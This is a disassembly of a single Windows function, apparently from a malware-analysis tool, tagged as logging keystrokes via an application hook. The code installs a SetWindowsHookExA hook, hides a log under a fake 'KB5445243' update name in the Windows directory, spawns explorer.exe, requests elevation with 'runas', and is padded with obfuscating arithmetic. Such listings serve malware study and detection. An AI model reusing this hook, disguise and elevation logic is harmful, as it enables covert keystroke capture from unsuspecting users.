Function at 0x413360
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Log keystrokes via application hook
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x10bc
call fcn.00432740
mov eax, dword [0x460640]
xor eax, ebp
mov dword [esp + 0x10b8], eax
mov eax, dword [ebp + 0x14]
push ebx
mov dword [esp + 0x50], eax
mov eax, dword [0x45ecd4]
push esi
mov esi, dword [0x45ece8]
cdq
push edi
mov ebx, eax
mov eax, dword [0x45eccc]
push 0xf
mov dword [esp + 0x20], edx
cdq
push 0x3c2325f6
push edx
mov edi, esi
push eax
imul edi, edi, 0x471ee414
mov dword [esp + 0x6c], 0
mov dword [esp + 0x28], ebx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], edx
call fcn.00432020
mov ecx, dword [esp + 0x1c]
push 0x13
push 0x2c2da253
push ecx
push ebx
mov dword [esp + 0x20], eax
call fcn.00432020
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
push 0x14
push 0x76aab896
sub eax, ecx
mov ecx, dword [esp + 0x28]
push edx
push ecx
mov dword [esp + 0x20], eax
call fcn.00432020
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x1c]
push 0x14
push 0x76aab896
add ecx, eax
push edx
mov eax, ebx
push eax
mov dword [esp + 0x20], ecx
call fcn.00432020
mov ecx, dword [esp + 0x10]
mov ebx, dword [0x45eccc]
sub ecx, eax
imul ebx, ebx, 0x392bae29
mov eax, dword [0x45ecdc]
mov edx, eax
imul edx, edx, 0x3dbf610d
add edx, edi
add edx, ecx
mov ecx, dword [ebp + 8]
add ebx, edx
cmp ecx, 0x132b600
mov dword [str._r_____r____], ebx
je 0x4134f1
push 0x14
cdq
push 0x76aab896
push edx
push eax
call fcn.00432020
mov esi, dword [0x45ecd8]
mov ebx, eax
push 3
mov eax, esi
cdq
push 0xce4a7dc6
push edx
push eax
call fcn.00432020
sub eax, ebx
mov ebx, eax
mov eax, dword [0x45ecd0]
push 0x10
cdq
push 0xe4325444
push edx
push eax
call fcn.00432020
imul esi, esi, 0x76aab896
sub ebx, eax
mov eax, dword [0x45ecc8]
imul eax, eax, 0x3dbf610d
add ebx, eax
mov eax, dword [0x45ece4]
add ebx, esi
sub ebx, eax
lea ecx, [ebx + edi + 0x31b5823a]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x45ecd0], ecx
mov esi, 0x64
mov edi, edi
push 0x3e8
call edi
dec esi
jne 0x4134d0
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x10b8]
xor ecx, ebp
call fcn.00431e3d
mov esp, ebp
pop ebp
ret
mov eax, dword [0x45ece4]
mov ecx, dword [0x45ecd0]
mov edi, dword [0x45eccc]
cdq
push 0x13
push 0x2c2da253
push edx
add edi, ecx
push eax
imul edi, edi, 0x3c2325f6
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], edx
call fcn.00432020
mov edx, dword [esp + 0x24]
push 0xd
push 0x3dbf610d
add edi, eax
mov eax, dword [esp + 0x28]
push edx
push eax
call fcn.00432020
mov ecx, dword [esp + 0x3c]
mov edx, dword [esp + 0x38]
push 0x14
push 0x76aab896
push ecx
push edx
sub edi, eax
call fcn.00432020
add edi, eax
mov eax, dword [0x45ece0]
imul eax, eax, 0x42a7b17d
add edi, eax
mov eax, dword [0x45ecdc]
imul eax, eax, 0x31b5823a
sub edi, eax
mov eax, dword [section.dfsaewr4]
test eax, eax
mov dword [0x45ecdc], edi
push 0x13
je 0x4135f3
mov eax, dword [0x45ecd0]
cdq
push 0x392bae29
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.00432020
push 8
push 0x42a7b17d
push edi
push esi
mov ebx, eax
call fcn.00432020
mov ecx, dword [esp + 0x3c]
mov edx, dword [esp + 0x38]
push 0xd
push 0x3dbf610d
push ecx
push edx
add ebx, eax
call fcn.00432020
push 3
push 0xce4a7dc6
push edi
push esi
sub ebx, eax
call fcn.00432020
add ebx, eax
mov eax, dword [0x45ece0]
imul eax, eax, 0xafbbe1e
add ebx, eax
mov eax, dword [0x45ecc8]
imul eax, eax, 0x31b5823a
sub ebx, eax
mov dword [0x45ecc8], ebx
jmp 0x41460c
mov ecx, dword [0x45ecd8]
mov eax, edi
cdq
push 0x2c2da253
push edx
add ebx, ecx
push eax
imul ebx, ebx, 0x3dbf610d
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], edx
call fcn.00432020
mov edx, dword [esp + 0x54]
push 8
push 0x974b287b
add ebx, eax
mov eax, dword [esp + 0x58]
push edx
push eax
call fcn.00432020
mov edx, dword [0x45ece0]
mov ecx, edi
imul ecx, ecx, 0x392bae29
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x2c2da253
sub ebx, eax
add ecx, ebx
lea eax, [edx + ecx + 0x31b5823a]
mov dword [0x45ecd4], eax
lea esp, [esp]
mov eax, dword [0x45eccc]
mov ecx, dword [0x45ecd0]
cdq
mov dword [esp + 0x20], eax
lea eax, [ecx + esi]
imul eax, eax, 0x1bcdabbc
mov dword [esp + 0x10], eax
push 0xf
mov dword [esp + 0x28], edx
mov eax, esi
cdq
push 0x3c2325f6
push edx
push eax
call fcn.00432020
mov edx, dword [esp + 0x24]
mov ebx, eax
mov eax, dword [esp + 0x10]
push 0x10
push 0xe4325444
sub ebx, eax
mov eax, dword [esp + 0x28]
push edx
push eax
call fcn.00432020
mov ecx, dword [0x45ecd8]
imul ecx, ecx, 0x42a7b17d
sub ebx, eax
mov eax, dword [0x45ecd4]
add ebx, ecx
mov edx, edi
imul edx, edx, 0x31b5823a
mov ecx, eax
imul ecx, ecx, 0x471ee414
add ebx, edx
sub ebx, ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
mov dword [0x45ece0], ebx
jg 0x413848
mov ecx, dword [esp + 0x58]
test ecx, ecx
je 0x413848
lea edx, [ecx + 1]
mov dword [esp + 0x10], edx
lea ecx, [ecx]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x413700
sub ecx, dword [esp + 0x10]
mov dword [esp + 0x2c], ecx
je 0x413848
push 0x13
cdq
push 0x2c2da253
mov edi, eax
push edx
push edi
mov dword [esp + 0x2c], edx
call fcn.00432020
mov ecx, dword [esp + 0x1c]
push 0xd
push 0x3dbf610d
push ecx
push edi
mov dword [esp + 0x20], eax
call fcn.00432020
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
push 8
push 0x974b287b
add ecx, eax
mov eax, dword [esp + 0x28]
push edx
push eax
mov dword [esp + 0x20], ecx
call fcn.00432020
imul esi, esi, 0x471ee414
imul ebx, ebx, 0x392bae29
mov ecx, dword [esp + 0x10]
add ecx, eax
mov eax, dword [0x45ece4]
imul eax, eax, 0x31b5823a
sub ecx, eax
mov eax, dword [str._r_____r____]
sub ecx, esi
add ecx, ebx
sub ecx, eax
sub ecx, 0x1bcdabbc
mov dword [0x45eccc], ecx
mov ecx, dword [esp + 0x58]
push ecx
push 0
call fcn.004100b0
add esp, 8
test eax, eax
mov dword [esp + 0x14], eax
jle 0x41442e
mov eax, dword [0x45ecd8]
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 0xffffffffffffffeb
mov dword [esp + 0x48], edx
cdq
push 0x8955476a
push edx
push eax
call fcn.00432020
mov edx, dword [0x45ecc8]
mov esi, dword [str._r_____r____]
mov ebx, eax
mov eax, dword [0x45ecd4]
add edx, eax
imul edx, edx, 0x68b4d785
push 0x10
sub ebx, edx
mov eax, esi
cdq
push 0xe4325444
push edx
push eax
call fcn.00432020
mov ecx, dword [esp + 0x44]
push 0xf
push 0x3c2325f6
push ecx
push edi
add ebx, eax
call fcn.00432020
mov edx, dword [esp + 0x44]
push 0x13
push 0x2c2da253
push edx
push edi
sub ebx, eax
call fcn.00432020
imul esi, esi, 0x2c2da253
mov edi, dword [0x45ecdc]
sub ebx, eax
add ebx, esi
mov esi, dword [0x45ece8]
mov dword [0x45ece4], ebx
jmp 0x4138d3
mov eax, dword [0x45ecc8]
cdq
mov dword [esp + 0x48], eax
mov eax, dword [str._r_____r____]
push 8
mov dword [esp + 0x50], edx
cdq
push 0x42a7b17d
push edx
push eax
call fcn.00432020
mov ecx, dword [0x45ecd8]
mov ebx, dword [0x45ecd0]
mov edx, dword [esp + 0x4c]
lea esi, [ecx + ebx]
imul esi, esi, 0x392bae29
push 0x13
push 0x2c2da253
sub esi, eax
mov eax, dword [esp + 0x50]
push edx
push eax
call fcn.00432020
mov ecx, dword [esp + 0x4c]
mov edx, dword [esp + 0x48]
push 8
push 0x974b287b
push ecx
push edx
add esi, eax
call fcn.00432020
imul ebx, ebx, 0x2c2da253
add esi, eax
mov eax, dword [0x45ece4]
imul eax, eax, 0x31b5823a
add esi, eax
mov eax, dword [ebp + 0x10]
sub esi, ebx
mov dword [0x45ece8], esi
mov dword [esp + 0x14], eax
mov eax, dword [0x45ecd4]
cdq
mov ebx, eax
mov eax, dword [0x45eccc]
push 0xf
mov dword [esp + 0x20], edx
cdq
push 0x3c2325f6
push edx
push eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], edx
call fcn.00432020
mov ecx, dword [esp + 0x1c]
push 0x13
push 0x2c2da253
push ecx
push ebx
mov dword [esp + 0x20], eax
call fcn.00432020
mov edx, dword [esp + 0x24]
mov ebx, eax
mov eax, dword [esp + 0x10]
push 0x14
push 0x76aab896
sub ebx, eax
mov eax, dword [esp + 0x28]
push edx
push eax
call fcn.00432020
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push 0x14
push 0x76aab896
push ecx
push edx
add ebx, eax
call fcn.00432020
imul edi, edi, 0x3dbf610d
imul esi, esi, 0x471ee414
sub ebx, eax
mov eax, dword [0x45eccc]
imul eax, eax, 0x392bae29
add ebx, edi
add ebx, esi
add ebx, eax
push str.c:WINDoWSKB5445243.log
mov dword [str._r_____r____], ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [0x45ecd0]
cdq
mov esi, eax
mov eax, dword [0x45ece4]
push 0xd
mov edi, edx
cdq
push 0x3dbf610d
push edx
push eax
call fcn.00432020
push 0x13
push 0x392bae29
push edi
push esi
mov ebx, eax
call fcn.00432020
push 8
push 0x42a7b17d
push edi
sub eax, ebx
push esi
mov ebx, eax
call fcn.00432020
push 3
push 0xce4a7dc6
push edi
push esi
add ebx, eax
call fcn.00432020
mov ecx, dword [0x45ecc8]
mov edx, dword [esp + 0x14]
imul ecx, ecx, 0x31b5823a
add ebx, eax
mov eax, dword [0x45ece0]
imul eax, eax, 0xafbbe1e
add ebx, eax
mov eax, dword [0x5727ec]
push edx
push eax
sub ebx, ecx
mov ecx, dword [ebp + 0xc]
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push ecx
mov dword [0x45ecc8], ebx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.dfsaewr4], eax
je 0x4144d8
mov eax, dword [0x45ecdc]
push 0x14
cdq
push 0x76aab896
push edx
push eax
call fcn.00432020
mov edi, dword [0x45ecd8]
mov ebx, eax
push 3
mov eax, edi
cdq
push 0xce4a7dc6
push edx
push eax
call fcn.00432020
mov esi, eax
mov eax, dword [0x45ecd0]
push 0x10
cdq
push 0xe4325444
push edx
push eax
sub esi, ebx
call fcn.00432020
mov edx, dword [0x45ecc8]
mov ecx, dword [0x45ece8]
imul edx, edx, 0x3dbf610d
sub esi, eax
imul ecx, ecx, 0x471ee414
mov eax, edi
imul eax, eax, 0x76aab896
add esi, edx
add esi, eax
add esi, ecx
sub esi, dword [0x45ece4]
add esi, 0x31b5823a
mov dword [0x5727f0], 1
mov dword [esp + 0x14], 0
jmp 0x413ab0
mov esi, dword [0x45ecd0]
mov edi, dword [0x45ecd8]
mov edi, edi
mov eax, dword [0x45ecdc]
push 0x14
cdq
push 0x76aab896
push edx
push eax
call fcn.00432020
mov ebx, eax
push 3
mov eax, edi
cdq
push 0xce4a7dc6
push edx
push eax
call fcn.00432020
sub eax, ebx
mov ebx, eax
push 0x10
mov eax, esi
cdq
push 0xe4325444
push edx
push eax
call fcn.00432020
imul edi, edi, 0x76aab896
sub ebx, eax
mov eax, dword [0x45ecc8]
imul eax, eax, 0x3dbf610d
add ebx, eax
mov eax, dword [0x45ece8]
imul eax, eax, 0x471ee414
add ebx, edi
mov edi, dword [0x45ece4]
add ebx, eax
sub ebx, edi
add ebx, 0x31b5823a
push str.c:WINDoWSKB5445243.log
mov dword [0x45ecd0], ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x413b50
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x12c
mov dword [esp + 0x14], eax
jl 0x413aa2
mov edi, dword [0x45ece8]
mov esi, dword [0x45ece0]
mov eax, edi
cdq
mov dword [esp + 0x30], eax
push 8
mov dword [esp + 0x38], edx
mov eax, esi
cdq
push 0x974b287b
push edx
push eax
call fcn.00432020
mov ebx, eax
mov eax, dword [0x45ecd4]
push 0x13
cdq
push 0x2c2da253
push edx
push eax
call fcn.00432020
mov edx, dword [esp + 0x34]
push 0x14
push 0x471ee414
sub ebx, eax
mov eax, dword [esp + 0x38]
push edx
push eax
call fcn.00432020
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x30]
push 0x13
push 0x392bae29
push ecx
push edx
add ebx, eax
call fcn.00432020
mov edx, dword [0x45ecc8]
sub ebx, eax
imul edx, edx, 0x2c2da253
mov eax, esi
imul eax, eax, 0x68b4d785
mov ecx, edi
imul ecx, ecx, 0x31b5823a
sub ebx, eax
mov eax, dword [esp + 0x14]
add ebx, ecx
add ebx, edx
cmp eax, 0x12c
mov dword [0x45ecd8], ebx
jl 0x41456c
mov eax, dword [esp + 0x5c]
test eax, eax
jne 0x41456c
mov eax, dword [0x45ece4]
mov ebx, dword [0x45eccc]
cdq
mov edi, eax
push 0xd
mov dword [esp + 0x40], edx
mov eax, ebx
cdq
push 0x3dbf610d
push edx
push eax
call fcn.00432020
mov ecx, dword [0x45ecd0]
mov edx, dword [esp + 0x3c]
add ebx, ecx
imul ebx, ebx, 0x3c2325f6
push 0x13
push 0x2c2da253
push edx
push edi
sub ebx, eax
call fcn.00432020
push 0x14
add ebx, eax
mov eax, dword [esp + 0x40]
push 0x76aab896
push eax
push edi
call fcn.00432020
imul esi, esi, 0x42a7b17d
mov ecx, dword [0x45ecdc]
imul ecx, ecx, 0x31b5823a
add ebx, eax
add ebx, esi
push 0x800
lea edx, [esp + 0xc4]
sub ebx, ecx
push edx
mov dword [0x45ecdc], ebx
mov dword [esp + 0x64], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov eax, dword [0x45ecd0]
mov esi, dword [0x45ece8]
lea edi, [eax + esi]
mov eax, dword [0x45eccc]
imul edi, edi, 0x1bcdabbc
push 0xffffffffffffffef
cdq
push 0x1bcdabbc
push edx
push eax
call fcn.00432020
mov ebx, eax
push 0xf
mov eax, esi
cdq
push 0x3c2325f6
push edx
push eax
sub ebx, edi
call fcn.00432020
mov ecx, dword [0x45ecd8]
mov edx, dword [0x45ecdc]
imul ecx, ecx, 0x42a7b17d
add ebx, eax
imul edx, edx, 0x31b5823a
mov eax, dword [0x45ecd4]
imul eax, eax, 0x471ee414
add ebx, ecx
lea ecx, [esp + 0xc0]
push ecx
add ebx, edx
lea edx, [esp + 0x8c4]
sub ebx, eax
push str._sexplorer.exe
push edx
mov dword [0x45ece0], ebx
call fcn.004320ca
push 0
lea eax, [esp + 0x8d0]
push eax
call fcn.0043246d
add esp, 0x14
cmp eax, 0xffffffff
je 0x4143ad
mov eax, dword [0x45ecd8]
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 0xffffffffffffffeb
mov dword [esp + 0x48], edx
cdq
push 0x8955476a
push edx
push eax
call fcn.00432020
mov ecx, dword [0x45ecd4]
mov edx, dword [0x45ecc8]
mov esi, dword [str._r_____r____]
add edx, ecx
imul edx, edx, 0x68b4d785
mov ebx, eax
push 0x10
sub ebx, edx
mov eax, esi
cdq
push 0xe4325444
push edx
push eax
call fcn.00432020
push 0xf
add ebx, eax
mov eax, dword [esp + 0x48]
push 0x3c2325f6
push eax
push edi
call fcn.00432020
mov ecx, dword [esp + 0x44]
push 0x13
push 0x2c2da253
push ecx
push edi
sub ebx, eax
call fcn.00432020
imul esi, esi, 0x2c2da253
sub ebx, eax
add ebx, esi
push str.explorer.exe
mov dword [0x45ece4], ebx
call fcn.00406a30
mov eax, dword [0x45ecc8]
cdq
add esp, 4
mov ebx, eax
mov eax, dword [str._r_____r____]
push 8
mov dword [esp + 0x50], edx
cdq
push 0x42a7b17d
push edx
push eax
call fcn.00432020
mov edx, dword [0x45ecd8]
mov edi, dword [0x45ecd0]
lea esi, [edx + edi]
imul esi, esi, 0x392bae29
push 0x13
sub esi, eax
mov eax, dword [esp + 0x50]
push 0x2c2da253
push eax
push ebx
call fcn.00432020
mov ecx, dword [esp + 0x4c]
push 8
push 0x974b287b
push ecx
push ebx
add esi, eax
call fcn.00432020
imul edi, edi, 0x2c2da253
mov edx, dword [0x45ece4]
imul edx, edx, 0x31b5823a
add esi, eax
add esi, edx
sub esi, edi
mov dword [0x45ece8], esi
mov dword [esp + 0x10], 5
jmp 0x413e60
mov esi, dword [0x45ece8]
jmp 0x413e60
mov eax, dword [0x45ecd4]
mov edi, dword [0x45eccc]
cdq
mov ebx, eax
push 0xf
mov dword [esp + 0x20], edx
mov eax, edi
cdq
push 0x3c2325f6
push edx
push eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], edx
call fcn.00432020
mov ecx, dword [esp + 0x1c]
push 0x13
push 0x2c2da253
push ecx
push ebx
mov dword [esp + 0x24], eax
call fcn.00432020
mov edx, dword [esp + 0x24]
mov ebx, eax
mov eax, dword [esp + 0x14]
push 0x14
push 0x76aab896
sub ebx, eax
mov eax, dword [esp + 0x28]
push edx
push eax
call fcn.00432020
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push 0x14
push 0x76aab896
push ecx
push edx
add ebx, eax
call fcn.00432020
imul esi, esi, 0x471ee414
imul edi, edi, 0x392bae29
sub ebx, eax
mov eax, dword [0x45ecdc]
imul eax, eax, 0x3dbf610d
add ebx, eax
add ebx, esi
add ebx, edi
push str.explorer.exe
mov dword [str._r_____r____], ebx
call fcn.00406400
add esp, 4
test eax, eax
jg 0x414312
mov eax, dword [0x45ecd0]
cdq
mov ebx, eax
mov eax, dword [0x45ece4]
push 0xd
mov edi, edx
cdq
push 0x3dbf610d
push edx
push eax
mov dword [esp + 0x74], edi
call fcn.00432020
push 0x13
push 0x392bae29
push edi
push ebx
mov dword [esp + 0x24], eax
call fcn.00432020
push 8
push 0x42a7b17d
mov esi, eax
mov eax, dword [esp + 0x1c]
push edi
push ebx
sub esi, eax
call fcn.00432020
push 3
push 0xce4a7dc6
push edi
push ebx
add esi, eax
call fcn.00432020
mov ecx, dword [0x45ece0]
mov edx, dword [0x45ecc8]
imul ecx, ecx, 0xafbbe1e
add esi, eax
imul edx, edx, 0x31b5823a
xor eax, eax
add esi, ecx
mov ecx, 0x11
lea edi, [esp + 0x68]
rep stosd dword es:[edi], eax
mov eax, dword [0x45ecd4]
sub esi, edx
cdq
mov edi, eax
mov eax, dword [0x45ece8]
imul eax, eax, 0x471ee414
mov dword [esp + 0x14], eax
mov eax, dword [0x45eccc]
push 8
mov dword [esp + 0x20], edx
cdq
push 0x974b287b
push edx
push eax
mov dword [0x45ecc8], esi
mov dword [esp + 0x78], 0x44
mov dword [esp + 0x28], edi
call fcn.00432020
mov ecx, dword [esp + 0x1c]
push 0x13
push 0x2c2da253
push ecx
push edi
mov dword [esp + 0x3c], eax
call fcn.00432020
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x1c]
push 0xd
push 0x3dbf610d
add ecx, eax
push edx
mov eax, edi
push eax
mov dword [esp + 0x3c], ecx
call fcn.00432020
mov ecx, dword [esp + 0x2c]
mov edx, dword [0x45ece4]
add ecx, eax
imul edx, edx, 0x31b5823a
mov eax, dword [0x45ece0]
mov edi, dword [esp + 0x14]
imul eax, eax, 0x392bae29
sub ecx, edx
mov edx, dword [str._r_____r____]
add ecx, eax
mov eax, dword [0x45ecdc]
sub ecx, edi
push 0x14
sub ecx, edx
cdq
push 0x76aab896
push edx
sub ecx, 0x1bcdabbc
push eax
mov dword [0x45eccc], ecx
mov dword [esp + 0xa4], 1
mov word [esp + 0xa8], 5
call fcn.00432020
mov edi, eax
mov eax, dword [0x45ecd8]
push 3
cdq
push 0xce4a7dc6
push edx
push eax
call fcn.00432020
mov ecx, dword [esp + 0x64]
push 0x10
push 0xe4325444
push ecx
sub eax, edi
push ebx
mov edi, eax
call fcn.00432020
imul esi, esi, 0x3dbf610d
mov edx, dword [esp + 0x14]
sub edi, eax
mov eax, dword [0x45ecd8]
imul eax, eax, 0x76aab896
add edi, esi
add edi, eax
sub edi, dword [0x45ece4]
lea eax, [edi + edx + 0x31b5823a]
lea ecx, [esp + 0xb0]
push ecx
lea edx, [esp + 0x6c]
push edx
mov dword [0x45ecd0], eax
lea eax, [esp + 0xc8]
push eax
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [esp + 0x8e0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x414175
mov edi, dword [0x45ecdc]
mov ecx, dword [0x45ecd8]
mov esi, dword [str._r_____r____]
push 0x13
mov eax, edi
cdq
push 0x2c2da253
push edx
lea ebx, [ecx + esi]
push eax
imul ebx, ebx, 0x3dbf610d
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], edx
call fcn.00432020
mov edx, dword [esp + 0x54]
push 8
push 0x974b287b
add ebx, eax
mov eax, dword [esp + 0x58]
push edx
push eax
call fcn.00432020
imul edi, edi, 0x392bae29
add edi, dword [0x45ece0]
mov ecx, esi
imul ecx, ecx, 0x2c2da253
sub ebx, eax
add edi, ebx
lea edx, [ecx + edi + 0x31b5823a]
mov dword [0x45ecd4], edx
jmp 0x414318
mov esi, dword [0x45ece8]
mov edi, dword [0x45ece0]
mov eax, esi
cdq
mov dword [esp + 0x30], eax
push 8
mov dword [esp + 0x38], edx
mov eax, edi
cdq
push 0x974b287b
push edx
push eax
call fcn.00432020
mov ebx, eax
mov eax, dword [0x45ecd4]
push 0x13
cdq
push 0x2c2da253
push edx
push eax
call fcn.00432020
mov ecx, dword [esp + 0x30]
push 0x14
sub ebx, eax
mov eax, dword [esp + 0x38]
push 0x471ee414
push eax
push ecx
call fcn.00432020
mov edx, dword [esp + 0x34]
push 0x13
push 0x392bae29
add ebx, eax
mov eax, dword [esp + 0x38]
push edx
push eax
call fcn.00432020
imul edi, edi, 0x68b4d785
imul esi, esi, 0x31b5823a
mov ecx, dword [0x45ecc8]
push 1
imul ecx, ecx, 0x2c2da253
sub ebx, eax
lea edx, [esp + 0xc4]
push edx
push 0
lea eax, [esp + 0x8cc]
sub ebx, edi
push eax
add ebx, esi
push str.runas
add ebx, ecx
push 0
mov dword [0x45ecd8], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x4142a3
mov eax, dword [0x45ece4]
mov ebx, dword [0x45eccc]
cdq
mov esi, eax
push 0xd
mov edi, edx
mov eax, ebx
cdq
push 0x3dbf610d
push edx
push eax
call fcn.00432020
mov ecx, dword [0x45ecd0]
add ebx, ecx
imul ebx, ebx, 0x3c2325f6
push 0x13
push 0x2c2da253
push edi
push esi
sub ebx, eax
call fcn.00432020
push 0x14
push 0x76aab896
push edi
push esi
add ebx, eax
call fcn.00432020
mov edx, dword [0x45ece0]
add ebx, eax
imul edx, edx, 0x42a7b17d
mov eax, dword [0x45ecdc]
imul eax, eax, 0x31b5823a
add ebx, edx
sub ebx, eax
mov dword [0x45ecdc], ebx
jmp 0x414312
mov eax, dword [0x45eccc]
mov ecx, dword [0x45ecd0]
mov esi, dword [0x45ece8]
push 0xffffffffffffffef
cdq
push 0x1bcdabbc
push edx
lea edi, [ecx + esi]
push eax
imul edi, edi, 0x1bcdabbc
call fcn.00432020
mov ebx, eax
push 0xf
mov eax, esi
cdq
push 0x3c2325f6
push edx
push eax
sub ebx, edi
call fcn.00432020
mov edx, dword [0x45ecd8]
mov ecx, dword [0x45ecd4]
imul edx, edx, 0x42a7b17d
add ebx, eax
imul ecx, ecx, 0x471ee414
mov eax, dword [0x45ecdc]
imul eax, eax, 0x31b5823a
add ebx, edx
add ebx, eax
sub ebx, ecx
mov dword [0x45ece0], ebx
mov esi, dword [str._r_____r____]
mov eax, dword [0x45ecd8]
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 0xffffffffffffffeb
mov dword [esp + 0x48], edx
cdq
push 0x8955476a
push edx
push eax
call fcn.00432020
mov edx, dword [0x45ecc8]
mov ebx, eax
mov eax, dword [0x45ecd4]
add edx, eax
imul edx, edx, 0x68b4d785
push 0x10
sub ebx, edx
mov eax, esi
cdq
push 0xe4325444
push edx
push eax
call fcn.00432020
mov ecx, dword [esp + 0x44]
push 0xf
push 0x3c2325f6
push ecx
push edi
add ebx, eax
call fcn.00432020
mov edx, dword [esp + 0x44]
push 0x13
push 0x2c2da253
push edx
push edi
sub ebx, eax
call fcn.00432020
imul esi, esi, 0x2c2da253
sub ebx, eax
add ebx, esi
push 0x3e8
mov dword [0x45ece4], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x413e51
mov eax, dword [0x45ecc8]
cdq
mov edi, eax
mov eax, dword [str._r_____r____]
push 8
mov ebx, edx
cdq
push 0x42a7b17d
push edx
push eax
call fcn.00432020
mov ecx, dword [0x45ecd8]
mov edx, dword [0x45ecd0]
lea esi, [ecx + edx]
imul esi, esi, 0x392bae29
push 0x13
push 0x2c2da253
push ebx
push edi
sub esi, eax
call fcn.00432020
push 8
push 0x974b287b
push ebx
push edi
add esi, eax
call fcn.00432020
mov ecx, dword [0x45ecd0]
mov edi, dword [0x45ecdc]
imul ecx, ecx, 0x2c2da253
add esi, eax
mov eax, dword [0x45ece4]
imul eax, eax, 0x31b5823a
add esi, eax
sub esi, ecx
mov dword [0x45ece8], esi
jmp 0x413660
mov esi, dword [0x45ece8]
mov edi, dword [0x45ece0]
mov eax, esi
cdq
mov dword [esp + 0x30], eax
push 8
mov dword [esp + 0x38], edx
mov eax, edi
cdq
push 0x974b287b
push edx
push eax
call fcn.00432020
mov ebx, eax
mov eax, dword [0x45ecd4]
push 0x13
cdq
push 0x2c2da253
push edx
push eax
call fcn.00432020
mov edx, dword [esp + 0x34]
push 0x14
push 0x471ee414
sub ebx, eax
mov eax, dword [esp + 0x38]
push edx
push eax
call fcn.00432020
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x30]
push 0x13
push 0x392bae29
push ecx
push edx
add ebx, eax
call fcn.00432020
imul edi, edi, 0x68b4d785
imul esi, esi, 0x31b5823a
sub ebx, eax
mov eax, dword [0x45ecc8]
imul eax, eax, 0x2c2da253
sub ebx, edi
add ebx, esi
add ebx, eax
mov dword [0x45ecd8], ebx
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x10b8]
xor ecx, ebp
call fcn.00431e3d
mov esp, ebp
pop ebp
ret
mov eax, dword [0x45ecd4]
cdq
mov esi, eax
mov eax, dword [0x45eccc]
push 8
mov edi, edx
cdq
push 0x974b287b
push edx
push eax
call fcn.00432020
push 0x13
push 0x2c2da253
push edi
push esi
mov ebx, eax
call fcn.00432020
push 0xd
push 0x3dbf610d
push edi
push esi
add ebx, eax
call fcn.00432020
mov ecx, dword [0x45ece4]
mov edx, dword [0x45ece8]
imul ecx, ecx, 0x31b5823a
add ebx, eax
imul edx, edx, 0x471ee414
mov eax, dword [0x45ece0]
imul eax, eax, 0x392bae29
sub ebx, ecx
mov ecx, dword [str._r_____r____]
sub ebx, edx
add ebx, eax
sub ebx, ecx
sub ebx, 0x1bcdabbc
mov dword [0x45eccc], ebx
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x10b8]
xor ecx, ebp
call fcn.00431e3d
mov esp, ebp
pop ebp
ret
mov eax, dword [0x45ecd4]
mov esi, dword [0x45eccc]
cdq
mov ebx, eax
push 0xf
mov dword [esp + 0x20], edx
mov eax, esi
cdq
push 0x3c2325f6
push edx
push eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], edx
call fcn.00432020
mov ecx, dword [esp + 0x1c]
push 0x13
push 0x2c2da253
push ecx
push ebx
mov dword [esp + 0x3c], eax
call fcn.00432020
mov edx, dword [esp + 0x24]
mov ebx, eax
mov eax, dword [esp + 0x2c]
push 0x14
push 0x76aab896
sub ebx, eax
mov eax, dword [esp + 0x28]
push edx
push eax
call fcn.00432020
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push 0x14
push 0x76aab896
push ecx
push edx
add ebx, eax
call fcn.00432020
imul edi, edi, 0x471ee414
imul esi, esi, 0x392bae29
sub ebx, eax
mov eax, dword [0x45ecdc]
imul eax, eax, 0x3dbf610d
add ebx, eax
add ebx, edi
add ebx, esi
mov dword [str._r_____r____], ebx
mov ecx, dword [esp + 0x10c4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00431e3d
mov esp, ebp
pop ebp
ret